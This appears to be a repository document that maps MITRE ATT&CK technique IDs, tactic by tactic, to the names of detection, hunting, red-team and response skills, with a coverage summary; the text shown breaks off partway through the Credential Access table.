<img src="https://img.shields.io/badge/Techniques-291+-blueviolet?style=for-the-badge" alt="Techniques" />
<img src="https://img.shields.io/badge/Tactics-14%2F14-green?style=for-the-badge" alt="Tactics" />
</p>
This document maps all **291 unique MITRE ATT&CK techniques** (across **149 parent techniques**) referenced in our **817 cybersecurity skills** to the 14 Enterprise ATT&CK tactics. Use this to identify coverage gaps, plan detection engineering priorities, or validate your security program against the ATT&CK framework.
> **How to read this:** Each technique links to its official ATT&CK page. Skills listed under each technique are the ones in this repository that teach detection, hunting, exploitation, or response for that technique.
---
## Coverage Summary
| Tactic | Techniques | Coverage |
|:-------|:---------:|:---------|
| 🔎 **Reconnaissance** | **12** | `████████████░░░░░░░░░░░░░░░░░░` |
| 🏗️ **Resource Development** | **7** | `███████░░░░░░░░░░░░░░░░░░░░░░░` |
| 🚪 **Initial Access** | **18** | `██████████████████░░░░░░░░░░░░` |
| ⚡ **Execution** | **18** | `██████████████████░░░░░░░░░░░░` |
| 🔩 **Persistence** | **36** | `██████████████████████████████` |
| ⬆️ **Privilege Escalation** | **11** | `███████████░░░░░░░░░░░░░░░░░░░` |
| 🥷 **Defense Evasion** | **48** | `██████████████████████████████` |
| 🔑 **Credential Access** | **27** | `███████████████████████████░░░` |
| 🗺️ **Discovery** | **20** | `████████████████████░░░░░░░░░░` |
| ↔️ **Lateral Movement** | **9** | `█████████░░░░░░░░░░░░░░░░░░░░░` |
| 📦 **Collection** | **13** | `█████████████░░░░░░░░░░░░░░░░░` |
| 📡 **Command and Control** | **20** | `████████████████████░░░░░░░░░░` |
| 📤 **Exfiltration** | **12** | `████████████░░░░░░░░░░░░░░░░░░` |
| 💥 **Impact** | **6** | `██████░░░░░░░░░░░░░░░░░░░░░░░░` |
| 🔧 **Other/Cross-tactic** | **34** | |
| | **291** | **Total unique techniques** |
---
## 🔎 Reconnaissance
**12 techniques covered**
| Technique | Skills |
|:----------|:-------|
| [T1589](https://attack.mitre.org/techniques/T1589/) | `conducting-full-scope-red-team-engagement`, `conducting-social-engineering-pretext-call`, `performing-open-source-intelligence-gathering` |
| [T1590](https://attack.mitre.org/techniques/T1590/) | `performing-open-source-intelligence-gathering` |
| [T1591](https://attack.mitre.org/techniques/T1591/) | `collecting-open-source-intelligence`, `conducting-social-engineering-pretext-call`, `performing-open-source-intelligence-gathering` |
| [T1592](https://attack.mitre.org/techniques/T1592/) | `performing-open-source-intelligence-gathering` |
| [T1593](https://attack.mitre.org/techniques/T1593/) | `conducting-full-scope-red-team-engagement`, `performing-open-source-intelligence-gathering` |
| [T1594](https://attack.mitre.org/techniques/T1594/) | `performing-open-source-intelligence-gathering` |
| [T1595](https://attack.mitre.org/techniques/T1595/) | `executing-red-team-engagement-planning`, `triaging-security-incident` |
| [T1595.001](https://attack.mitre.org/techniques/T1595/001/) | `performing-open-source-intelligence-gathering` |
| [T1595.002](https://attack.mitre.org/techniques/T1595/002/) | `performing-open-source-intelligence-gathering` |
| [T1596](https://attack.mitre.org/techniques/T1596/) | `performing-open-source-intelligence-gathering` |
| [T1598](https://attack.mitre.org/techniques/T1598/) | `conducting-social-engineering-pretext-call` |
| [T1598.003](https://attack.mitre.org/techniques/T1598/003/) | `conducting-social-engineering-pretext-call`, `conducting-spearphishing-simulation-campaign` |
---
## 🏗️ Resource Development
**7 techniques covered**
| Technique | Skills |
|:----------|:-------|
| [T1583.001](https://attack.mitre.org/techniques/T1583/001/) | `building-red-team-c2-infrastructure-with-havoc`, `conducting-full-scope-red-team-engagement`, `conducting-spearphishing-simulation-campaign`, `implementing-mitre-attack-coverage-mapping` |
| [T1583.003](https://attack.mitre.org/techniques/T1583/003/) | `building-red-team-c2-infrastructure-with-havoc` |
| [T1584.001](https://attack.mitre.org/techniques/T1584/001/) | `hunting-for-dns-based-persistence` |
| [T1585.002](https://attack.mitre.org/techniques/T1585/002/) | `conducting-spearphishing-simulation-campaign` |
| [T1587.001](https://attack.mitre.org/techniques/T1587/001/) | `building-red-team-c2-infrastructure-with-havoc`, `conducting-full-scope-red-team-engagement` |
| [T1608.001](https://attack.mitre.org/techniques/T1608/001/) | `conducting-spearphishing-simulation-campaign` |
| [T1608.005](https://attack.mitre.org/techniques/T1608/005/) | `conducting-spearphishing-simulation-campaign` |
---
## 🚪 Initial Access
**18 techniques covered**
| Technique | Skills |
|:----------|:-------|
| [T1078](https://attack.mitre.org/techniques/T1078/) | `analyzing-apt-group-with-mitre-navigator`, `analyzing-powershell-script-block-logging`, `analyzing-windows-event-logs-in-splunk`, `building-threat-hunt-hypothesis-framework`, `conducting-full-scope-red-team-engagement` +13 more |
| [T1078.001](https://attack.mitre.org/techniques/T1078/001/) | `detecting-service-account-abuse` |
| [T1078.002](https://attack.mitre.org/techniques/T1078/002/) | `conducting-domain-persistence-with-dcsync`, `detecting-service-account-abuse`, `exploiting-active-directory-certificate-services-esc1`, `exploiting-constrained-delegation-abuse`, `exploiting-nopac-cve-2021-42278-42287` +1 more |
| [T1078.003](https://attack.mitre.org/techniques/T1078/003/) | `performing-privilege-escalation-assessment` |
| [T1078.004](https://attack.mitre.org/techniques/T1078/004/) | `detecting-azure-lateral-movement`, `detecting-azure-service-principal-abuse`, `implementing-mitre-attack-coverage-mapping`, `implementing-threat-modeling-with-mitre-attack` |
| [T1091](https://attack.mitre.org/techniques/T1091/) | `executing-red-team-engagement-planning`, `performing-physical-intrusion-assessment` |
| [T1133](https://attack.mitre.org/techniques/T1133/) | `executing-red-team-engagement-planning`, `performing-threat-landscape-assessment-for-sector` |
| [T1190](https://attack.mitre.org/techniques/T1190/) | `conducting-full-scope-red-team-engagement`, `executing-red-team-engagement-planning`, `exploiting-ms17-010-eternalblue-vulnerability`, `hunting-for-webshell-activity`, `performing-threat-landscape-assessment-for-sector` +1 more |
| [T1195](https://attack.mitre.org/techniques/T1195/) | `analyzing-supply-chain-malware-artifacts`, `performing-threat-landscape-assessment-for-sector` |
| [T1195.001](https://attack.mitre.org/techniques/T1195/001/) | `hunting-for-supply-chain-compromise` |
| [T1195.002](https://attack.mitre.org/techniques/T1195/002/) | `hunting-for-supply-chain-compromise` |
| [T1199](https://attack.mitre.org/techniques/T1199/) | `hunting-for-supply-chain-compromise`, `performing-physical-intrusion-assessment` |
| [T1200](https://attack.mitre.org/techniques/T1200/) | `executing-red-team-engagement-planning`, `performing-physical-intrusion-assessment` |
| [T1566](https://attack.mitre.org/techniques/T1566/) | `analyzing-apt-group-with-mitre-navigator`, `analyzing-threat-actor-ttps-with-mitre-attack`, `analyzing-threat-landscape-with-misp`, `building-attack-pattern-library-from-cti-reports`, `hunting-advanced-persistent-threats` +3 more |
| [T1566.001](https://attack.mitre.org/techniques/T1566/001/) | `analyzing-apt-group-with-mitre-navigator`, `analyzing-campaign-attribution-evidence`, `analyzing-macro-malware-in-office-documents`, `analyzing-threat-actor-ttps-with-mitre-navigator`, `building-attack-pattern-library-from-cti-reports` +13 more |
| [T1566.002](https://attack.mitre.org/techniques/T1566/002/) | `building-attack-pattern-library-from-cti-reports`, `conducting-spearphishing-simulation-campaign`, `hunting-for-spearphishing-indicators`, `implementing-continuous-security-validation-with-bas`, `implementing-mitre-attack-coverage-mapping` +1 more |
| [T1566.003](https://attack.mitre.org/techniques/T1566/003/) | `conducting-spearphishing-simulation-campaign`, `hunting-for-spearphishing-indicators`, `implementing-continuous-security-validation-with-bas` |
| [T1566.004](https://attack.mitre.org/techniques/T1566/004/) | `conducting-social-engineering-pretext-call` |
---
## ⚡ Execution
**18 techniques covered**
| Technique | Skills |
|:----------|:-------|
| [T1047](https://attack.mitre.org/techniques/T1047/) | `conducting-full-scope-red-team-engagement`, `detecting-fileless-attacks-on-endpoints`, `detecting-lateral-movement-with-splunk`, `detecting-living-off-the-land-attacks`, `detecting-living-off-the-land-with-lolbas` +8 more |
| [T1053](https://attack.mitre.org/techniques/T1053/) | `analyzing-apt-group-with-mitre-navigator`, `analyzing-persistence-mechanisms-in-linux`, `hunting-advanced-persistent-threats`, `hunting-for-persistence-mechanisms-in-windows`, `implementing-mitre-attack-coverage-mapping` +4 more |
| [T1053.002](https://attack.mitre.org/techniques/T1053/002/) | `hunting-for-scheduled-task-persistence` |
| [T1053.003](https://attack.mitre.org/techniques/T1053/003/) | `analyzing-persistence-mechanisms-in-linux`, `hunting-for-scheduled-task-persistence`, `performing-privilege-escalation-assessment`, `performing-privilege-escalation-on-linux` |
| [T1053.005](https://attack.mitre.org/techniques/T1053/005/) | `analyzing-apt-group-with-mitre-navigator`, `analyzing-campaign-attribution-evidence`, `analyzing-windows-event-logs-in-splunk`, `building-attack-pattern-library-from-cti-reports`, `building-detection-rule-with-splunk-spl` +17 more |
| [T1059](https://attack.mitre.org/techniques/T1059/) | `analyzing-apt-group-with-mitre-navigator`, `analyzing-threat-actor-ttps-with-mitre-attack`, `analyzing-windows-event-logs-in-splunk`, `building-incident-timeline-with-timesketch`, `deobfuscating-powershell-obfuscated-malware` +7 more |
| [T1059.001](https://attack.mitre.org/techniques/T1059/001/) | `analyzing-apt-group-with-mitre-navigator`, `analyzing-campaign-attribution-evidence`, `analyzing-macro-malware-in-office-documents`, `analyzing-powershell-empire-artifacts`, `analyzing-powershell-script-block-logging` +29 more |
| [T1059.003](https://attack.mitre.org/techniques/T1059/003/) | `building-attack-pattern-library-from-cti-reports`, `building-detection-rule-with-splunk-spl`, `detecting-suspicious-powershell-execution`, `mapping-mitre-attack-techniques`, `performing-purple-team-atomic-testing` |
| [T1059.004](https://attack.mitre.org/techniques/T1059/004/) | `performing-purple-team-atomic-testing` |
| [T1059.005](https://attack.mitre.org/techniques/T1059/005/) | `analyzing-macro-malware-in-office-documents`, `detecting-living-off-the-land-attacks`, `executing-red-team-exercise`, `hunting-for-living-off-the-land-binaries`, `hunting-for-lolbins-execution-in-endpoint-logs` +2 more |
| [T1059.006](https://attack.mitre.org/techniques/T1059/006/) | `performing-purple-team-atomic-testing` |
| [T1059.007](https://attack.mitre.org/techniques/T1059/007/) | `performing-purple-team-atomic-testing` |
| [T1129](https://attack.mitre.org/techniques/T1129/) | `performing-purple-team-atomic-testing` |
| [T1203](https://attack.mitre.org/techniques/T1203/) | `performing-purple-team-atomic-testing` |
| [T1204.001](https://attack.mitre.org/techniques/T1204/001/) | `conducting-spearphishing-simulation-campaign` |
| [T1204.002](https://attack.mitre.org/techniques/T1204/002/) | `analyzing-macro-malware-in-office-documents`, `conducting-full-scope-red-team-engagement`, `conducting-spearphishing-simulation-campaign`, `detecting-living-off-the-land-attacks`, `executing-red-team-engagement-planning` +4 more |
| [T1569](https://attack.mitre.org/techniques/T1569/) | `performing-purple-team-atomic-testing` |
| [T1569.002](https://attack.mitre.org/techniques/T1569/002/) | `detecting-lateral-movement-in-network`, `detecting-lateral-movement-with-splunk`, `exploiting-ms17-010-eternalblue-vulnerability`, `performing-purple-team-atomic-testing` |
---
## 🔩 Persistence
**36 techniques covered**
| Technique | Skills |
|:----------|:-------|
| [T1098](https://attack.mitre.org/techniques/T1098/) | `analyzing-windows-event-logs-in-splunk`, `conducting-domain-persistence-with-dcsync`, `hunting-for-t1098-account-manipulation`, `implementing-mitre-attack-coverage-mapping`, `implementing-siem-use-cases-for-detection` +1 more |
| [T1098.001](https://attack.mitre.org/techniques/T1098/001/) | `conducting-cloud-penetration-testing`, `detecting-azure-lateral-movement`, `detecting-azure-service-principal-abuse`, `hunting-for-t1098-account-manipulation`, `implementing-mitre-attack-coverage-mapping` |
| [T1098.002](https://attack.mitre.org/techniques/T1098/002/) | `detecting-azure-lateral-movement`, `detecting-email-forwarding-rules-attack` |
| [T1098.004](https://attack.mitre.org/techniques/T1098/004/) | `analyzing-persistence-mechanisms-in-linux`, `implementing-security-monitoring-with-datadog` |
| [T1136](https://attack.mitre.org/techniques/T1136/) | `detecting-privilege-escalation-in-kubernetes-pods`, `implementing-mitre-attack-coverage-mapping`, `performing-purple-team-atomic-testing` |
| [T1136.001](https://attack.mitre.org/techniques/T1136/001/) | `analyzing-windows-event-logs-in-splunk`, `performing-purple-team-atomic-testing` |
| [T1136.002](https://attack.mitre.org/techniques/T1136/002/) | `exploiting-nopac-cve-2021-42278-42287` |
| [T1197](https://attack.mitre.org/techniques/T1197/) | `detecting-living-off-the-land-attacks`, `detecting-living-off-the-land-with-lolbas`, `hunting-for-living-off-the-land-binaries`, `hunting-for-lolbins-execution-in-endpoint-logs`, `performing-purple-team-atomic-testing` |
| [T1505](https://attack.mitre.org/techniques/T1505/) | `performing-purple-team-atomic-testing` |
| [T1505.003](https://attack.mitre.org/techniques/T1505/003/) | `building-attack-pattern-library-from-cti-reports`, `hunting-for-webshell-activity`, `performing-purple-team-atomic-testing` |
| [T1542.001](https://attack.mitre.org/techniques/T1542/001/) | `analyzing-uefi-bootkit-persistence` |
| [T1542.003](https://attack.mitre.org/techniques/T1542/003/) | `analyzing-uefi-bootkit-persistence` |
| [T1543](https://attack.mitre.org/techniques/T1543/) | `analyzing-persistence-mechanisms-in-linux`, `hunting-for-persistence-mechanisms-in-windows`, `performing-purple-team-atomic-testing` |
| [T1543.002](https://attack.mitre.org/techniques/T1543/002/) | `analyzing-persistence-mechanisms-in-linux`, `performing-privilege-escalation-on-linux` |
| [T1543.003](https://attack.mitre.org/techniques/T1543/003/) | `detecting-lateral-movement-with-splunk`, `detecting-living-off-the-land-attacks`, `detecting-privilege-escalation-attempts`, `hunting-for-persistence-mechanisms-in-windows`, `hunting-for-unusual-service-installations` +2 more |
| [T1546](https://attack.mitre.org/techniques/T1546/) | `analyzing-persistence-mechanisms-in-linux`, `performing-purple-team-atomic-testing` |
| [T1546.001](https://attack.mitre.org/techniques/T1546/001/) | `performing-purple-team-atomic-testing` |
| [T1546.003](https://attack.mitre.org/techniques/T1546/003/) | `analyzing-windows-event-logs-in-splunk`, `detecting-fileless-attacks-on-endpoints`, `detecting-fileless-malware-techniques`, `detecting-wmi-persistence`, `hunting-for-lateral-movement-via-wmi` +3 more |
| [T1546.004](https://attack.mitre.org/techniques/T1546/004/) | `analyzing-persistence-mechanisms-in-linux` |
| [T1546.010](https://attack.mitre.org/techniques/T1546/010/) | `hunting-for-persistence-mechanisms-in-windows` |
| [T1546.012](https://attack.mitre.org/techniques/T1546/012/) | `hunting-for-persistence-mechanisms-in-windows`, `hunting-for-registry-persistence-mechanisms` |
| [T1546.015](https://attack.mitre.org/techniques/T1546/015/) | `hunting-for-persistence-mechanisms-in-windows`, `hunting-for-registry-persistence-mechanisms` |
| [T1547](https://attack.mitre.org/techniques/T1547/) | `analyzing-apt-group-with-mitre-navigator`, `analyzing-malware-persistence-with-autoruns`, `hunting-advanced-persistent-threats`, `hunting-for-persistence-mechanisms-in-windows`, `implementing-siem-use-cases-for-detection` +3 more |
| [T1547.001](https://attack.mitre.org/techniques/T1547/001/) | `analyzing-apt-group-with-mitre-navigator`, `analyzing-windows-event-logs-in-splunk`, `building-attack-pattern-library-from-cti-reports`, `conducting-full-scope-red-team-engagement`, `detecting-fileless-attacks-on-endpoints` +10 more |
| [T1547.004](https://attack.mitre.org/techniques/T1547/004/) | `hunting-for-persistence-mechanisms-in-windows`, `hunting-for-registry-persistence-mechanisms`, `performing-purple-team-atomic-testing` |
| [T1547.005](https://attack.mitre.org/techniques/T1547/005/) | `hunting-for-persistence-mechanisms-in-windows` |
| [T1547.009](https://attack.mitre.org/techniques/T1547/009/) | `performing-purple-team-atomic-testing` |
| [T1556](https://attack.mitre.org/techniques/T1556/) | `performing-initial-access-with-evilginx3` |
| [T1556.007](https://attack.mitre.org/techniques/T1556/007/) | `detecting-azure-lateral-movement` |
| [T1574](https://attack.mitre.org/techniques/T1574/) | `analyzing-persistence-mechanisms-in-linux`, `performing-purple-team-atomic-testing` |
| [T1574.001](https://attack.mitre.org/techniques/T1574/001/) | `detecting-dll-sideloading-attacks`, `hunting-for-persistence-mechanisms-in-windows`, `performing-purple-team-atomic-testing` |
| [T1574.002](https://attack.mitre.org/techniques/T1574/002/) | `analyzing-windows-event-logs-in-splunk`, `building-attack-pattern-library-from-cti-reports`, `detecting-dll-sideloading-attacks`, `implementing-siem-use-cases-for-detection`, `performing-purple-team-atomic-testing` |
| [T1574.006](https://attack.mitre.org/techniques/T1574/006/) | `analyzing-persistence-mechanisms-in-linux`, `detecting-dll-sideloading-attacks`, `performing-privilege-escalation-on-linux` |
| [T1574.008](https://attack.mitre.org/techniques/T1574/008/) | `detecting-dll-sideloading-attacks` |
| [T1574.009](https://attack.mitre.org/techniques/T1574/009/) | `detecting-privilege-escalation-attempts` |
| [T1574.011](https://attack.mitre.org/techniques/T1574/011/) | `detecting-privilege-escalation-attempts` |
---
## ⬆️ Privilege Escalation
**11 techniques covered**
| Technique | Skills |
|:----------|:-------|
| [T1068](https://attack.mitre.org/techniques/T1068/) | `conducting-full-scope-red-team-engagement`, `detecting-container-escape-attempts`, `detecting-privilege-escalation-attempts`, `detecting-privilege-escalation-in-kubernetes-pods`, `executing-red-team-engagement-planning` +5 more |
| [T1134](https://attack.mitre.org/techniques/T1134/) | `analyzing-windows-event-logs-in-splunk`, `detecting-privilege-escalation-attempts` |
| [T1134.001](https://attack.mitre.org/techniques/T1134/001/) | `detecting-privilege-escalation-attempts`, `exploiting-constrained-delegation-abuse`, `performing-purple-team-atomic-testing` |
| [T1134.005](https://attack.mitre.org/techniques/T1134/005/) | `hunting-for-t1098-account-manipulation`, `performing-active-directory-compromise-investigation` |
| [T1484](https://attack.mitre.org/techniques/T1484/) | `exploiting-active-directory-certificate-services-esc1`, `performing-active-directory-vulnerability-assessment` |
| [T1484.001](https://attack.mitre.org/techniques/T1484/001/) | `deploying-active-directory-honeytokens`, `performing-active-directory-compromise-investigation` |
| [T1548](https://attack.mitre.org/techniques/T1548/) | `detecting-container-escape-attempts`, `detecting-privilege-escalation-in-kubernetes-pods`, `detecting-t1548-abuse-elevation-control-mechanism`, `performing-privilege-escalation-assessment` |
| [T1548.001](https://attack.mitre.org/techniques/T1548/001/) | `detecting-privilege-escalation-attempts`, `detecting-privilege-escalation-in-kubernetes-pods`, `detecting-t1548-abuse-elevation-control-mechanism`, `performing-privilege-escalation-assessment`, `performing-privilege-escalation-on-linux` |
| [T1548.002](https://attack.mitre.org/techniques/T1548/002/) | `conducting-full-scope-red-team-engagement`, `detecting-privilege-escalation-attempts`, `detecting-t1548-abuse-elevation-control-mechanism`, `performing-purple-team-atomic-testing` |
| [T1548.003](https://attack.mitre.org/techniques/T1548/003/) | `detecting-privilege-escalation-attempts`, `detecting-t1548-abuse-elevation-control-mechanism`, `performing-privilege-escalation-assessment`, `performing-privilege-escalation-on-linux` |
| [T1548.004](https://attack.mitre.org/techniques/T1548/004/) | `detecting-t1548-abuse-elevation-control-mechanism` |
---
## 🥷 Defense Evasion
**48 techniques covered**
| Technique | Skills |
|:----------|:-------|
| [T1027](https://attack.mitre.org/techniques/T1027/) | `analyzing-apt-group-with-mitre-navigator`, `analyzing-powershell-empire-artifacts`, `analyzing-powershell-script-block-logging`, `building-attack-pattern-library-from-cti-reports`, `conducting-full-scope-red-team-engagement` +3 more |
| [T1036](https://attack.mitre.org/techniques/T1036/) | `detecting-evasion-techniques-in-endpoint-logs`, `implementing-mitre-attack-coverage-mapping`, `implementing-siem-use-cases-for-detection`, `performing-purple-team-atomic-testing` |
| [T1036.005](https://attack.mitre.org/techniques/T1036/005/) | `detecting-process-injection-techniques`, `performing-purple-team-atomic-testing` |
| [T1055](https://attack.mitre.org/techniques/T1055/) | `building-attack-pattern-library-from-cti-reports`, `building-red-team-c2-infrastructure-with-havoc`, `conducting-full-scope-red-team-engagement`, `detecting-evasion-techniques-in-endpoint-logs`, `detecting-fileless-attacks-on-endpoints` +13 more |
| [T1055.001](https://attack.mitre.org/techniques/T1055/001/) | `detecting-process-hollowing-technique`, `detecting-process-injection-techniques`, `detecting-t1055-process-injection-with-sysmon`, `hunting-for-process-injection-techniques`, `performing-purple-team-atomic-testing` +1 more |
| [T1055.002](https://attack.mitre.org/techniques/T1055/002/) | `detecting-process-injection-techniques`, `detecting-t1055-process-injection-with-sysmon` |
| [T1055.003](https://attack.mitre.org/techniques/T1055/003/) | `detecting-process-hollowing-technique`, `detecting-process-injection-techniques`, `detecting-t1055-process-injection-with-sysmon`, `performing-purple-team-atomic-testing` |
| [T1055.004](https://attack.mitre.org/techniques/T1055/004/) | `detecting-process-hollowing-technique`, `detecting-process-injection-techniques`, `detecting-t1055-process-injection-with-sysmon`, `hunting-for-process-injection-techniques` |
| [T1055.005](https://attack.mitre.org/techniques/T1055/005/) | `detecting-process-injection-techniques`, `detecting-t1055-process-injection-with-sysmon` |
| [T1055.008](https://attack.mitre.org/techniques/T1055/008/) | `detecting-process-injection-techniques` |
| [T1055.009](https://attack.mitre.org/techniques/T1055/009/) | `detecting-process-injection-techniques` |
| [T1055.011](https://attack.mitre.org/techniques/T1055/011/) | `detecting-process-injection-techniques` |
| [T1055.012](https://attack.mitre.org/techniques/T1055/012/) | `conducting-malware-incident-response`, `detecting-fileless-malware-techniques`, `detecting-process-hollowing-technique`, `detecting-process-injection-techniques`, `detecting-t1055-process-injection-with-sysmon` +2 more |
| [T1055.013](https://attack.mitre.org/techniques/T1055/013/) | `detecting-process-hollowing-technique`, `detecting-process-injection-techniques`, `detecting-t1055-process-injection-with-sysmon` |
| [T1055.014](https://attack.mitre.org/techniques/T1055/014/) | `detecting-process-injection-techniques` |
| [T1055.015](https://attack.mitre.org/techniques/T1055/015/) | `detecting-process-injection-techniques`, `detecting-t1055-process-injection-with-sysmon` |
| [T1070](https://attack.mitre.org/techniques/T1070/) | `detecting-evasion-techniques-in-endpoint-logs`, `implementing-siem-use-cases-for-detection`, `implementing-velociraptor-for-ir-collection`, `performing-purple-team-atomic-testing` |
| [T1070.001](https://attack.mitre.org/techniques/T1070/001/) | `detecting-evasion-techniques-in-endpoint-logs`, `implementing-mitre-attack-coverage-mapping`, `performing-purple-team-atomic-testing`, `performing-purple-team-exercise` |
| [T1070.004](https://attack.mitre.org/techniques/T1070/004/) | `implementing-threat-modeling-with-mitre-attack`, `performing-purple-team-atomic-testing` |
| [T1070.006](https://attack.mitre.org/techniques/T1070/006/) | `detecting-evasion-techniques-in-endpoint-logs`, `hunting-for-defense-evasion-via-timestomping` |
| [T1112](https://attack.mitre.org/techniques/T1112/) | `detecting-fileless-malware-techniques`, `performing-purple-team-atomic-testing` |
| [T1127](https://attack.mitre.org/techniques/T1127/) | `detecting-evasion-techniques-in-endpoint-logs`, `detecting-living-off-the-land-with-lolbas`, `hunting-for-lolbins-execution-in-endpoint-logs` |
| [T1127.001](https://attack.mitre.org/techniques/T1127/001/) | `detecting-living-off-the-land-attacks`, `detecting-living-off-the-land-with-lolbas`, `hunting-for-lolbins-execution-in-endpoint-logs` |
| [T1140](https://attack.mitre.org/techniques/T1140/) | `analyzing-powershell-script-block-logging`, `detecting-fileless-attacks-on-endpoints`, `detecting-living-off-the-land-with-lolbas`, `hunting-for-living-off-the-land-binaries`, `hunting-for-lolbins-execution-in-endpoint-logs` +1 more |
| [T1202](https://attack.mitre.org/techniques/T1202/) | `hunting-for-living-off-the-land-binaries`, `hunting-for-lolbins-execution-in-endpoint-logs` |
| [T1218](https://attack.mitre.org/techniques/T1218/) | `detecting-evasion-techniques-in-endpoint-logs`, `detecting-living-off-the-land-attacks`, `detecting-living-off-the-land-with-lolbas`, `hunting-advanced-persistent-threats`, `hunting-for-living-off-the-land-binaries` +3 more |
| [T1218.001](https://attack.mitre.org/techniques/T1218/001/) | `hunting-for-living-off-the-land-binaries`, `hunting-for-lolbins-execution-in-endpoint-logs`, `performing-purple-team-atomic-testing` |
| [T1218.002](https://attack.mitre.org/techniques/T1218/002/) | `hunting-for-living-off-the-land-binaries` |
| [T1218.003](https://attack.mitre.org/techniques/T1218/003/) | `detecting-living-off-the-land-attacks`, `detecting-living-off-the-land-with-lolbas`, `hunting-for-living-off-the-land-binaries`, `hunting-for-lolbins-execution-in-endpoint-logs`, `performing-purple-team-atomic-testing` |
| [T1218.004](https://attack.mitre.org/techniques/T1218/004/) | `detecting-living-off-the-land-attacks`, `hunting-for-lolbins-execution-in-endpoint-logs` |
| [T1218.005](https://attack.mitre.org/techniques/T1218/005/) | `detecting-fileless-malware-techniques`, `detecting-living-off-the-land-attacks`, `detecting-living-off-the-land-with-lolbas`, `hunting-for-living-off-the-land-binaries`, `hunting-for-lolbins-execution-in-endpoint-logs` +1 more |
| [T1218.007](https://attack.mitre.org/techniques/T1218/007/) | `hunting-for-living-off-the-land-binaries`, `hunting-for-lolbins-execution-in-endpoint-logs` |
| [T1218.010](https://attack.mitre.org/techniques/T1218/010/) | `detecting-living-off-the-land-attacks`, `detecting-living-off-the-land-with-lolbas`, `hunting-for-living-off-the-land-binaries`, `hunting-for-lolbins-execution-in-endpoint-logs`, `performing-purple-team-atomic-testing` |
| [T1218.011](https://attack.mitre.org/techniques/T1218/011/) | `detecting-living-off-the-land-attacks`, `detecting-living-off-the-land-with-lolbas`, `hunting-for-living-off-the-land-binaries`, `hunting-for-lolbins-execution-in-endpoint-logs`, `performing-dynamic-analysis-with-any-run` +1 more |
| [T1218.013](https://attack.mitre.org/techniques/T1218/013/) | `detecting-living-off-the-land-attacks` |
| [T1222.001](https://attack.mitre.org/techniques/T1222/001/) | `conducting-domain-persistence-with-dcsync` |
| [T1497](https://attack.mitre.org/techniques/T1497/) | `analyzing-malware-sandbox-evasion-techniques` |
| [T1497.001](https://attack.mitre.org/techniques/T1497/001/) | `analyzing-malware-sandbox-evasion-techniques` |
| [T1497.002](https://attack.mitre.org/techniques/T1497/002/) | `analyzing-malware-sandbox-evasion-techniques` |
| [T1497.003](https://attack.mitre.org/techniques/T1497/003/) | `analyzing-malware-sandbox-evasion-techniques` |
| [T1550](https://attack.mitre.org/techniques/T1550/) | `performing-lateral-movement-detection` |
| [T1550.001](https://attack.mitre.org/techniques/T1550/001/) | `detecting-azure-lateral-movement` |
| [T1550.002](https://attack.mitre.org/techniques/T1550/002/) | `analyzing-windows-event-logs-in-splunk`, `building-attack-pattern-library-from-cti-reports`, `conducting-full-scope-red-team-engagement`, `detecting-lateral-movement-in-network`, `detecting-lateral-movement-with-splunk` +6 more |
| [T1550.003](https://attack.mitre.org/techniques/T1550/003/) | `conducting-pass-the-ticket-attack`, `detecting-pass-the-hash-attacks`, `detecting-pass-the-ticket-attacks`, `exploiting-constrained-delegation-abuse` |
| [T1550.004](https://attack.mitre.org/techniques/T1550/004/) | `performing-initial-access-with-evilginx3` |
| [T1562](https://attack.mitre.org/techniques/T1562/) | `detecting-evasion-techniques-in-endpoint-logs`, `performing-purple-team-atomic-testing` |
| [T1562.001](https://attack.mitre.org/techniques/T1562/001/) | `analyzing-powershell-script-block-logging`, `building-attack-pattern-library-from-cti-reports`, `detecting-evasion-techniques-in-endpoint-logs`, `detecting-fileless-attacks-on-endpoints`, `detecting-suspicious-powershell-execution` +1 more |
| [T1610](https://attack.mitre.org/techniques/T1610/) | `detecting-container-escape-attempts`, `detecting-container-escape-with-falco-rules` |
---
## 🔑 Credential Access
**27 techniques covered**
| Technique | Skills |
|:----------|:-------|
| [T1003](https://attack.mitre.org/techniques/T1003/) | `analyzing-powershell-script-block-logging`, `building-attack-pattern-library-from-cti-reports`, `building-detection-rules-with-sigma`, `detecting-container-escape-with-falco-rules`, `detecting-credential-dumping-techniques` +10 more |
| [T1003.001](https://attack.mitre.org/techniques/T1003/001/) | `analyzing-campaign-attribution-evidence`, `analyzing-powershell-script-block-logging`, `analyzing-windows-event-logs-in-splunk`, `building-attack-pattern-library-from-cti-reports`, `building-detection-rule-with-splunk-spl` +13 more |
| [T1003.002](https://attack.mitre.org/techniques/T1003/002/) | `detecting-credential-dumping-techniques`, `detecting-t1003-credential-dumping-with-edr`, `performing-purple-team-atomic-testing` |
| [T1003.003](https://attack.mitre.org/techniques/T1003/003/) | `detecting-credential-dumping-techniques`, `detecting-t1003-credential-dumping-with-edr`, `performing-purple-team-atomic-testing` |
| [T1003.004](https://attack.mitre.org/techniques/T1003/004/) | `detecting-t1003-credential-dumping-with-edr`, `performing-credential-access-with-lazagne`, `performing-purple-team-atomic-testing` |
| [T1003.005](https://attack.mitre.org/techniques/T1003/005/) | `detecting-t1003-credential-dumping-with-edr`, `performing-purple-team-atomic-testing` |
| [T1003.006](https://attack.mitre.org/techniques/T1003/006/) | `analyzing-windows-event-logs-in-splunk`, `conducting-domain-persistence-with-dcsync`, `conducting-full-scope-red-team-engagement`, `conducting-internal-network-penetration-test`, `detecting-dcsync-attack-in-active-directory` +8 more |
| [T1110](https://attack.mitre.org/techniques/T1110/) | `analyzing-windows-event-logs-in-splunk`, `building-detection-rule-with-splunk-spl`, `conducting-internal-network-penetration-test`, `implementing-mitre-attack-coverage-mapping`, `implementing-siem-use-cases-for-detection` +3 more |
| [T1110.001](https://attack.mitre.org/techniques/T1110/001/) | `analyzing-windows-event-logs-in-splunk`, `building-detection-rule-with-splunk-spl`, `implementing-siem-use-cases-for-detection`, `performing-false-positive-reduction-in-siem`, `performing-purple-team-atomic-testing` |
| [T1110.002](https://attack.mitre.org/techniques/T1110/002/) | `exploiting-kerberoasting-with-impacket` |
| [T1110.003](https://attack.mitre.org/techniques/T1110/003/) | `detecting-pass-the-ticket-attacks`, `implementing-siem-use-cases-for-detection`, `performing-purple-team-atomic-testing` |
| [T1187](https://attack.mitre.org/techniques/T1187/) | `detecting-ntlm-relay-with-event-correlation` |
| [T1528](https://attack.mitre.org/techniques/T1528/) | `detecting-azure-lateral-movement`, `detecting-azure-service-principal-abuse` |
| [T1539](https://attack.mitre.org/techniques/T1539/) | `performing-credential-access-with-lazagne`, `performing-initial-access-with-evilginx3` |
